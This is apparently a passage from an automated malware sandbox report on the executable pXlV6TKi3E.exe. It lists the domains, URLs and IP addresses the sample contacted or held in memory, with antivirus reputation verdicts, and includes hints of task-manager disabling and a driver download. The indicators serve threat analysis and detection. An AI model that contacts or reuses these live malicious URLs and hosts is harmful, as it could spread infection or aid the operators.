      http://kukutrustnet888.info/home.gif100%Avira URL Cloudmalware
      http://kukutrustnet777.info/home.gif100%Avira URL Cloudmalware
      http://www.careerdesk.org/images/xs.jpg?85f4e8=70231872100%Avira URL Cloudmalware
      http://ampyazilim.com.tr/images/xs2.jpg?46e717b=520428125870%Avira URL Cloudsafe
      http://arthur.niria.biz/xs.jpg?757abcd=739116750t100%Avira URL Cloudmalware

      Domains and IPs

      Contacted Domains

      NameIPActiveMaliciousAntivirus DetectionReputation
      www.careerdesk.org
      		206.191.152.58
      		truetrue
        		unknown
        ampyazilim.com.tr
        		37.230.104.89
        		truetrue
          		unknown
          amsamex.com
          		206.189.61.126
          		truetrue
            		unknown
            apple-pie.in
            		63.251.106.25
            		truetrue
              		unknown
              arthur.niria.biz
              		63.251.106.25
              		truetrue
                		unknown
                ahmediye.net
                		78.46.2.155
                		truetrue
                  		unknown
                  windowsupdatebg.s.llnwi.net
                  		95.140.230.192
                  		truefalse
                    		unknown
                    althawry.org
                    		unknown
                    		unknowntrue
                      		unknown
                      g2.arrowhitech.com
                      		unknown
                      		unknowntrue
                        		unknown

                        Contacted URLs

                        NameMaliciousAntivirus DetectionReputation
                        http://amsamex.com/xs.jpg?10e1c12=88509530true
                        • Avira URL Cloud: safe
                        		unknown
                        http://ampyazilim.com.tr/images/xs2.jpg?46e717b=520428125true
                        • Avira URL Cloud: safe
                        		unknown
                        http://ampyazilim.com.tr/images/xs2.jpg?2c3ef52=185580872true
                        • Avira URL Cloud: safe
                        		unknown
                        http://ampyazilim.com.tr/images/xs2.jpg?142a6b1=211452650true
                        • Avira URL Cloud: safe
                        		unknown
                        http://apple-pie.in/images/xs.jpg?416832a=548673872true
                        • Avira URL Cloud: malware
                        		unknown
                        http://www.careerdesk.org/images/xs.jpg?1b3ca31=171359526true
                        • Avira URL Cloud: malware
                        		unknown
                        http://ahmediye.net/xs.jpg?29383b1=259331622true
                        • Avira URL Cloud: malware
                        		unknown
                        http://www.careerdesk.org/images/xs.jpg?56961d6=181584812true
                        • Avira URL Cloud: malware
                        		unknown
                        http://arthur.niria.biz/xs.jpg?f5fe7c=80607340true
                        • Avira URL Cloud: malware
                        		unknown
                        https://ampyazilim.com.tr/images/xs2.jpg?2c3ef52=185580872true
                        • Avira URL Cloud: safe
                        		unknown
                        https://ampyazilim.com.tr/images/xs2.jpg?657d9df=425682812true
                        • Avira URL Cloud: safe
                        		unknown
                        http://amsamex.com/xs.jpg?25d8de9=158742436true
                        • Avira URL Cloud: safe
                        		unknown
                        http://arthur.niria.biz/xs.jpg?3b0704e=495157872true
                        • Avira URL Cloud: malware
                        		unknown
                        http://amsamex.com/xs.jpg?3f44720=597065760true
                        • Avira URL Cloud: safe
                        		unknown
                        http://ahmediye.net/xs.jpg?44c7885=504843171true
                        • Avira URL Cloud: malware
                        		unknown
                        http://www.careerdesk.org/images/xs.jpg?7139244=712338840true
                        • Avira URL Cloud: malware
                        		unknown
                        http://ampyazilim.com.tr/images/xs2.jpg?657d9df=425682812true
                        • Avira URL Cloud: safe
                        		unknown
                        http://apple-pie.in/images/xs.jpg?5f16d79=498541405true
                        • Avira URL Cloud: malware
                        		unknown
                        http://arthur.niria.biz/xs.jpg?21973d4=70444968true
                        • Avira URL Cloud: malware
                        		unknown
                        https://ampyazilim.com.tr/images/xs2.jpg?1true
                        • Avira URL Cloud: malware
                        		unknown
                        http://amsamex.com/xs.jpg?5cf74e1=779855624true
                        • Avira URL Cloud: safe
                        		unknown
                        http://arthur.niria.biz/xs.jpg?59f0920=471543200true
                        • Avira URL Cloud: malware
                        		unknown
                        https://ampyazilim.com.tr/images/xs2.jpg?46e717b=520428125true
                        • Avira URL Cloud: safe
                        		unknown
                        http://www.careerdesk.org/images/xs.jpg?85f4e8=70231872true
                        • Avira URL Cloud: malware
                        		unknown
                        http://www.careerdesk.org/images/xs.jpg?37fb479=234803684true
                        • Avira URL Cloud: malware
                        		unknown

                        URLs from Memory and Binaries

                        NameSourceMaliciousAntivirus DetectionReputation
                        http://www.careerdesk.org/images/xs.jpg?1b3ca31=171359526(0pXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmptrue
                        • Avira URL Cloud: malware
                        		unknown
                        http://ahmediye.net/xs.jpg?6273be3=929110779epXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmptrue
                        • Avira URL Cloud: malware
                        		unknown
                        http://www.careerdesk.org/images/xs.jpg?56961d6=181584812x0$spXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmptrue
                        • Avira URL Cloud: malware
                        		unknown
                        http://www.careerdesk.org/images/xs.jpgpXlV6TKi3E.exe, pXlV6TKi3E.exe, 00000000.00000002.555932890.00000000022E8000.00000004.00000010.00020000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.555932890.00000000022EE000.00000004.00000010.00020000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.559138993.00000000034E3000.00000004.10000000.00040000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmp, pXlV6TKi3E.exe, 00000000.00000002.560775397.0000000003D6C000.00000004.00000010.00020000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.556904173.0000000002375000.00000040.00001000.00020000.00000000.sdmpfalse
                        • Avira URL Cloud: malware
                        		unknown
                        http://amsamex.com/xs.jpgpXlV6TKi3E.exe, pXlV6TKi3E.exe, 00000000.00000002.555932890.00000000022E8000.00000004.00000010.00020000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.555932890.00000000022EE000.00000004.00000010.00020000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.559138993.00000000034E3000.00000004.10000000.00040000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmp, pXlV6TKi3E.exe, 00000000.00000002.560775397.0000000003D6C000.00000004.00000010.00020000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.556904173.0000000002375000.00000040.00001000.00020000.00000000.sdmpfalse
                        • Avira URL Cloud: safe
                        		unknown
                        http://arthur.niria.biz/xs.jpgpXlV6TKi3E.exe, pXlV6TKi3E.exe, 00000000.00000002.555932890.00000000022E8000.00000004.00000010.00020000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.555932890.00000000022EE000.00000004.00000010.00020000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.559138993.00000000034E3000.00000004.10000000.00040000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmp, pXlV6TKi3E.exe, 00000000.00000002.560775397.0000000003D6C000.00000004.00000010.00020000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.556904173.0000000002375000.00000040.00001000.00020000.00000000.sdmpfalse
                        • Avira URL Cloud: malware
                        		unknown
                        https://ampyazilim.com.tr/images/xs2.jpg?142a6b1=2114526501QUrpXlV6TKi3E.exe, 00000000.00000002.569205487.0000000006011000.00000004.00000020.00020000.00000000.sdmpfalse
                        • Avira URL Cloud: safe
                        		unknown
                        http://g2.arrowhitech.com/xs.jpg?2a1f64d=309181467pXlV6TKi3E.exe, 00000000.00000002.569205487.0000000006011000.00000004.00000020.00020000.00000000.sdmpfalse
                        • Avira URL Cloud: safe
                        		unknown
                        http://ampyazilim.com.tr/images/xs2.jpg?142a6b1=211452650QRpXlV6TKi3E.exe, 00000000.00000002.569205487.0000000006011000.00000004.00000020.00020000.00000000.sdmpfalse
                        • Avira URL Cloud: safe
                        		unknown
                        http://arthur.niria.biz/xs.jpg?757abcd=739116750~pXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmptrue
                        • Avira URL Cloud: malware
                        		unknown
                        http://ampyazilim.com.tr/images/xs2.jpg?142a6b1=211452650ASpXlV6TKi3E.exe, 00000000.00000002.569205487.0000000006011000.00000004.00000020.00020000.00000000.sdmpfalse
                        • Avira URL Cloud: safe
                        		unknown
                        http://www.careerdesk.org/images/xs.jpg?7139244=7123388402VpXlV6TKi3E.exe, 00000000.00000002.570043505.0000000006085000.00000004.00000020.00020000.00000000.sdmptrue
                        • Avira URL Cloud: malware
                        		unknown
                        http://ahmediye.net/xs.jpg?44c7885=5048431712pXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmptrue
                        • Avira URL Cloud: malware
                        		unknown
                        http://apple-pie.in/images/xs.jpg?2713c6c=819509365pXlV6TKi3E.exe, 00000000.00000002.569205487.0000000006011000.00000004.00000020.00020000.00000000.sdmptrue
                        • Avira URL Cloud: malware
                        		unknown
                        http://g2.arrowhitech.com/xs.jpg?1360a4c=81275184pXlV6TKi3E.exe, 00000000.00000002.569205487.0000000006011000.00000004.00000020.00020000.00000000.sdmpfalse
                        • Avira URL Cloud: safe
                        		unknown
                        http://althawry.org/images/xs.jpg?6f17e54=232979624pXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmpfalse
                        • Avira URL Cloud: safe
                        		unknown
                        http://ahmediye.net/xs.jpg?6273be3=929110779spXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmptrue
                        • Avira URL Cloud: malware
                        		unknown
                        http://althawry.org/images/xs.jpg?1b3c9f3=114239436rpXlV6TKi3E.exe, 00000000.00000002.569205487.0000000006011000.00000004.00000020.00020000.00000000.sdmpfalse
                        • Avira URL Cloud: safe
                        		unknown
                        http://g2.arrowhitech.com/xs.jpg?46e710d=594774120pXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmpfalse
                        • Avira URL Cloud: safe
                        		unknown
                        https://loki.delve.office.com//mystuffonline?count=30&q=SearchUI.exe, 00000014.00000000.395337209.000001CDDCC40000.00000004.00000001.00020000.00000000.sdmpfalse
                          		high
                          http://www.careerdesk.org/images/xs.jpg?1b3ca31=171359526h0pXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmpfalse
                          • Avira URL Cloud: malware
                          		unknown
                          http://kukutrustnet987.info/home.gifpXlV6TKi3E.exe, 00000000.00000002.556904173.0000000002380000.00000040.00001000.00020000.00000000.sdmpfalse
                          • Avira URL Cloud: malware
                          		unknown
                          http://arthur.niria.biz/xs.jpg?59f0920=471543200zpXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmpfalse
                          • Avira URL Cloud: malware
                          		unknown
                          http://ampyazilim.com.tr/images/xs2.jpg?657d9df=425682812x6$q(pXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmpfalse
                          • Avira URL Cloud: safe
                          		unknown
                          http://173.193.19.14/logo.gifpXlV6TKi3E.exe, 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpfalse
                          • Avira URL Cloud: safe
                          		unknown
                          http://www.careerdesk.org/images/xs.jpg?7139244=712338840H64q)pXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmpfalse
                          • Avira URL Cloud: malware
                          		unknown
                          http://www.careerdesk.org/images/xs.jpg?7139244=712338840~pXlV6TKi3E.exe, 00000000.00000002.549429568.0000000000811000.00000004.00000020.00020000.00000000.sdmpfalse
                          • Avira URL Cloud: malware
                          		unknown
                          https://%s.xboxlive.comsvchost.exe, 0000000C.00000000.303216444.00000168DEA5D000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000C.00000002.546416495.00000168DEA5D000.00000004.00000001.00020000.00000000.sdmpfalse
                          • URL Reputation: safe
                          		low
                          http://g2.arrowhitech.com/xs.jpg?46e710d=594774120FpXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmpfalse
                          • Avira URL Cloud: safe
                          		unknown
                          http://arthur.niria.biz/xs.jpg?757abcd=73911675024pXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmpfalse
                          • Avira URL Cloud: malware
                          		unknown
                          https://login.windows.net/svchost.exe, 0000000C.00000002.547666803.00000168DEA80000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000C.00000000.303281331.00000168DEA80000.00000004.00000001.00020000.00000000.sdmpfalse
                            		high
                            http://www.klkjwre9fqwieluoi.info/amsint32.sysGetSystemDirectoryAdriverspXlV6TKi3E.exe, 00000000.00000002.556904173.0000000002380000.00000040.00001000.00020000.00000000.sdmpfalse
                            • Avira URL Cloud: malware
                            		unknown
                            http://g2.arrowhitech.com/xs.jpgpXlV6TKi3E.exe, pXlV6TKi3E.exe, 00000000.00000002.555932890.00000000022E8000.00000004.00000010.00020000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.555932890.00000000022EE000.00000004.00000010.00020000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.559138993.00000000034E3000.00000004.10000000.00040000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmp, pXlV6TKi3E.exe, 00000000.00000002.560775397.0000000003D6C000.00000004.00000010.00020000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.556904173.0000000002375000.00000040.00001000.00020000.00000000.sdmpfalse
                            • Avira URL Cloud: safe
                            		unknown
                            http://g2.arrowhitech.com/xs.jpg?6358694=1041711560pXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmpfalse
                            • Avira URL Cloud: safe
                            		unknown
                            http://www.careerdesk.org/images/xs.jpg?7139244=712338840cpXlV6TKi3E.exe, 00000000.00000002.549429568.0000000000811000.00000004.00000020.00020000.00000000.sdmpfalse
                            • Avira URL Cloud: malware
                            		unknown
                            http://arthur.niria.biz/xs.jpg?21973d4=70444968ipXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmpfalse
                            • Avira URL Cloud: malware
                            		unknown
                            http://www.careerdesk.org/images/xs.jpg?37fb479=234803684(7pXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmpfalse
                            • Avira URL Cloud: malware
                            		unknown
                            https://xsts.auth.xboxlive.com/svchost.exe, 0000000C.00000002.547666803.00000168DEA80000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000C.00000000.303281331.00000168DEA80000.00000004.00000001.00020000.00000000.sdmpfalse
                              		high
                              https://login.windows.netsvchost.exe, 0000000C.00000002.547666803.00000168DEA80000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000C.00000000.303281331.00000168DEA80000.00000004.00000001.00020000.00000000.sdmpfalse
                                		high
                                http://ahmediye.net/xs.jpg?29383b1=259331622ControlpXlV6TKi3E.exe, 00000000.00000002.569205487.0000000006011000.00000004.00000020.00020000.00000000.sdmpfalse
                                • Avira URL Cloud: malware
                                		unknown
                                http://arthur.niria.biz/xs.jpg?3b0704e=495157872PpXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmpfalse
                                • Avira URL Cloud: malware
                                		unknown
                                http://arthur.niria.biz/xs.jpg?757abcd=739116750$pXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmpfalse
                                • Avira URL Cloud: malware
                                		unknown
                                https://ampyazilim.com.tr/images/xs2.jpg?46e717b=52042812580pXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmpfalse
                                • Avira URL Cloud: safe
                                		unknown
                                https://xsts.auth.xboxlive.comsvchost.exe, 0000000C.00000002.547666803.00000168DEA80000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000C.00000000.303281331.00000168DEA80000.00000004.00000001.00020000.00000000.sdmpfalse
                                  		high
                                  http://a3inforservice.com.br/images/logof.gifpXlV6TKi3E.exe, pXlV6TKi3E.exe, 00000000.00000002.555932890.00000000022EE000.00000004.00000010.00020000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.559138993.00000000034E3000.00000004.10000000.00040000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpfalse
                                  • Avira URL Cloud: malware
                                  		unknown
                                  http://althawry.org/images/xs.jpg?6f17e54=232979624lpXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://althawry.org/images/xs.jpg?35dbb35=451795368pXlV6TKi3E.exe, 00000000.00000002.569205487.0000000006011000.00000004.00000020.00020000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://arthur.niria.biz/xs.jpg?3b0704e=495157872ZpXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: malware
                                  		unknown
                                  http://www.klkjwre9fqwieluoi.info/pXlV6TKi3E.exe, 00000000.00000002.556904173.0000000002380000.00000040.00001000.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: malware
                                  		unknown
                                  http://amsamex.com/xs.jpg?5cf74e1=779855624vpXlV6TKi3E.exe, 00000000.00000002.569205487.0000000006011000.00000004.00000020.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://accnet.ca/xs.jpgpXlV6TKi3E.exe, pXlV6TKi3E.exe, 00000000.00000002.555932890.00000000022EE000.00000004.00000010.00020000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.559138993.00000000034E3000.00000004.10000000.00040000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://ahmediye.net/xs.jpgpXlV6TKi3E.exe, pXlV6TKi3E.exe, 00000000.00000002.555932890.00000000022E8000.00000004.00000010.00020000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.555932890.00000000022EE000.00000004.00000010.00020000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.559138993.00000000034E3000.00000004.10000000.00040000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmp, pXlV6TKi3E.exe, 00000000.00000002.560775397.0000000003D6C000.00000004.00000010.00020000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.556904173.0000000002375000.00000040.00001000.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: malware
                                  		unknown
                                  http://arthur.niria.biz/xs.jpg?757abcd=7391167503pXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: malware
                                  		unknown
                                  http://kukutrustnet777888.info/DisableTaskMgrSoftwarepXlV6TKi3E.exe, 00000000.00000002.556904173.0000000002380000.00000040.00001000.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: malware
                                  		unknown
                                  http://althawry.org/images/xs.jpghttp://www.careerdesk.org/images/xs.jpghttp://arthur.niria.biz/xs.jpXlV6TKi3E.exe, 00000000.00000002.555932890.00000000022E8000.00000004.00000010.00020000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.555932890.00000000022EE000.00000004.00000010.00020000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.559138993.00000000034E3000.00000004.10000000.00040000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmp, pXlV6TKi3E.exe, 00000000.00000002.560775397.0000000003D6C000.00000004.00000010.00020000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.556904173.0000000002375000.00000040.00001000.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: malware
                                  		unknown
                                  https://loki.delve.office.com/SearchUI.exe, 00000014.00000002.603572508.000001C5DB491000.00000004.00000001.00020000.00000000.sdmpfalse
                                    		high
                                    http://althawry.org/images/xs.jpgpXlV6TKi3E.exe, pXlV6TKi3E.exe, 00000000.00000002.555932890.00000000022E8000.00000004.00000010.00020000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.555932890.00000000022EE000.00000004.00000010.00020000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.559138993.00000000034E3000.00000004.10000000.00040000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmp, pXlV6TKi3E.exe, 00000000.00000002.560775397.0000000003D6C000.00000004.00000010.00020000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.556904173.0000000002375000.00000040.00001000.00020000.00000000.sdmpfalse
                                    • Avira URL Cloud: safe
                                    		unknown
                                    http://althawry.org/images/xs.jpg?1b3c9f3=114239436pXlV6TKi3E.exe, 00000000.00000002.569205487.0000000006011000.00000004.00000020.00020000.00000000.sdmpfalse
                                    • Avira URL Cloud: safe
                                    		unknown
                                    https://login.windows.localsvchost.exe, 0000000C.00000002.547666803.00000168DEA80000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000C.00000000.303281331.00000168DEA80000.00000004.00000001.00020000.00000000.sdmpfalse
                                    • URL Reputation: safe
                                    		unknown
                                    http://accnet.ca/xs.jpghttp://a3inforservice.com.br/images/logof.gifpXlV6TKi3E.exe, 00000000.00000002.555932890.00000000022EE000.00000004.00000010.00020000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.559138993.00000000034E3000.00000004.10000000.00040000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpfalse
                                    • Avira URL Cloud: safe
                                    		unknown
                                    http://apple-pie.in/images/xs.jpgpXlV6TKi3E.exe, pXlV6TKi3E.exe, 00000000.00000002.555932890.00000000022E8000.00000004.00000010.00020000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.555932890.00000000022EE000.00000004.00000010.00020000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.559138993.00000000034E3000.00000004.10000000.00040000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmp, pXlV6TKi3E.exe, 00000000.00000002.560775397.0000000003D6C000.00000004.00000010.00020000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.556904173.0000000002375000.00000040.00001000.00020000.00000000.sdmpfalse
                                    • Avira URL Cloud: malware
                                    		unknown
                                    http://althawry.org/images/xs.jpg?546f297=708285624pXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmpfalse
                                    • Avira URL Cloud: safe
                                    		unknown
                                    http://ampyazilim.com.tr/images/xs2.jpg?46e717b=520428125X0pXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmpfalse
                                    • Avira URL Cloud: safe
                                    		unknown
                                    http://www.careerdesk.org/images/xs.jpg?7139244=712338840h6pXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmpfalse
                                    • Avira URL Cloud: malware
                                    		unknown
                                    http://ahmediye.net/xs.jpg?29383b1=259331622fpXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmpfalse
                                    • Avira URL Cloud: malware
                                    		unknown
                                    http://facebook.github.io/react/docs/error-decoder.html?invariantSearchUI.exe, 00000014.00000002.614799489.000001CDDC6FE000.00000004.00000001.00020000.00000000.sdmp, SearchUI.exe, 00000014.00000000.401718642.000001CDDD710000.00000004.00000001.00040000.00000000.sdmp, SearchUI.exe, 00000014.00000002.614917677.000001CDDC723000.00000004.00000001.00020000.00000000.sdmpfalse
                                    • URL Reputation: safe
                                    		unknown
                                    http://ampyazilim.com.tr/images/xs2.jpgpXlV6TKi3E.exe, pXlV6TKi3E.exe, 00000000.00000002.555932890.00000000022E8000.00000004.00000010.00020000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.555932890.00000000022EE000.00000004.00000010.00020000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.559138993.00000000034E3000.00000004.10000000.00040000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmp, pXlV6TKi3E.exe, 00000000.00000002.560775397.0000000003D6C000.00000004.00000010.00020000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.556904173.0000000002375000.00000040.00001000.00020000.00000000.sdmpfalse
                                    • Avira URL Cloud: safe
                                    		unknown
                                    http://althawry.org/images/xs.jpg?35dbb35=451795368HpXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmpfalse
                                    • Avira URL Cloud: safe
                                    		unknown
                                    http://arthur.niria.biz/xs.jpg?757abcd=739116750cpXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmpfalse
                                    • Avira URL Cloud: malware
                                    		unknown
                                    http://arthur.niria.biz/xs.jpg?757abcd=739116750hpXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmpfalse
                                    • Avira URL Cloud: malware
                                    		unknown
                                    http://kukutrustnet888.info/home.gifpXlV6TKi3E.exe, 00000000.00000002.556904173.0000000002380000.00000040.00001000.00020000.00000000.sdmpfalse
                                    • Avira URL Cloud: malware
                                    		unknown
                                    http://arthur.niria.biz/xs.jpg?757abcd=739116750rpXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmpfalse
                                    • Avira URL Cloud: malware
                                    		unknown
                                    http://kukutrustnet777.info/home.gifpXlV6TKi3E.exe, 00000000.00000002.556904173.0000000002380000.00000040.00001000.00020000.00000000.sdmpfalse
                                    • Avira URL Cloud: malware
                                    		unknown
                                    http://ampyazilim.com.tr/images/xs2.jpg?46e717b=52042812587pXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmpfalse
                                    • Avira URL Cloud: safe
                                    		unknown
                                    http://arthur.niria.biz/xs.jpg?757abcd=739116750tpXlV6TKi3E.exe, 00000000.00000002.569205487.0000000005FD0000.00000004.00000020.00020000.00000000.sdmpfalse
                                    • Avira URL Cloud: malware
                                    		unknown

                                    World Map of Contacted IPs

                                    • No. of IPs < 25%
                                    • 25% < No. of IPs < 50%
                                    • 50% < No. of IPs < 75%
                                    • 75% < No. of IPs

                                    Public IPs

                                    IPDomainCountryFlagASNASN NameMalicious
                                    85.105.121.157
                                    		unknownTurkey
                                    		9121TTNETTRfalse
                                    212.12.166.36
                                    		unknownSaudi Arabia
                                    		29684NOURNET-ASNSAfalse
                                    81.181.64.5
                                    		unknownRomania
                                    		49052DATAZYXROfalse
                                    80.54.102.172
                                    		unknownPoland
                                    		5617TPNETPLfalse
                                    85.14.86.35
                                    		unknownPoland
                                    		31242TKPSA-ASPLfalse
                                    78.96.105.81
                                    		unknownRomania
                                    		6830LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHoldingfalse
                                    84.114.219.90
                                    		unknownAustria
                                    		6830LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHoldingfalse
                                    118.137.42.114
                                    		unknownIndonesia
                                    		23700FASTNET-AS-IDLinknet-FastnetASNIDfalse
                                    69.47.135.203
                                    		unknownUnited States
                                    		12083WOW-INTERNETUSfalse
                                    85.17.167.196
                                    		unknownNetherlands
                                    		60781LEASEWEB-NL-AMS-01NetherlandsNLfalse
                                    81.181.112.247
                                    		unknownRomania
                                    		8708RCS-RDS73-75DrStaicoviciROfalse
                                    154.23.184.71
                                    		unknownUnited States
                                    		174COGENT-174USfalse
                                    62.90.21.54
                                    		unknownIsrael
                                    		1680NV-ASNCELLCOMltdILfalse
                                    76.104.215.8
                                    		unknownUnited States
                                    		7922COMCAST-7922USfalse
                                    206.189.61.126
                                    		amsamex.comUnited States
                                    		14061DIGITALOCEAN-ASNUStrue
                                    71.95.133.164
                                    		unknownUnited States
                                    		20115CHARTER-20115USfalse
                                    89.230.213.141
                                    		unknownPoland
                                    		21021MULTIMEDIA-ASCableDTVInternetVoiceProviderinPolandfalse
                                    89.120.233.17
                                    		unknownRomania
                                    		9050RTDBucharestRomaniaROfalse
                                    164.125.131.62
                                    		unknownKorea Republic of
                                    		9274PUSAN-AS-KRPusanNationalUniversityKRfalse
                                    206.191.152.58
                                    		www.careerdesk.orgUnited States
                                    		29791VOXEL-DOT-NETUStrue
                                    89.46.234.189
                                    		unknownRomania
                                    		39531ALTER-NET-ASZorilorNr11SfGheorgheROfalse
                                    129.74.157.231
                                    		unknownUnited States
                                    		693NOTRE-DAME-ASUSfalse
                                    37.230.104.89
                                    		ampyazilim.com.trTurkey
                                    		42807AEROTEK-ASTRtrue
                                    201.24.159.221
                                    		unknownBrazil
                                    		8167BrasilTelecomSA-FilialDistritoFederalBRfalse
                                    72.218.137.25
                                    		unknownUnited States
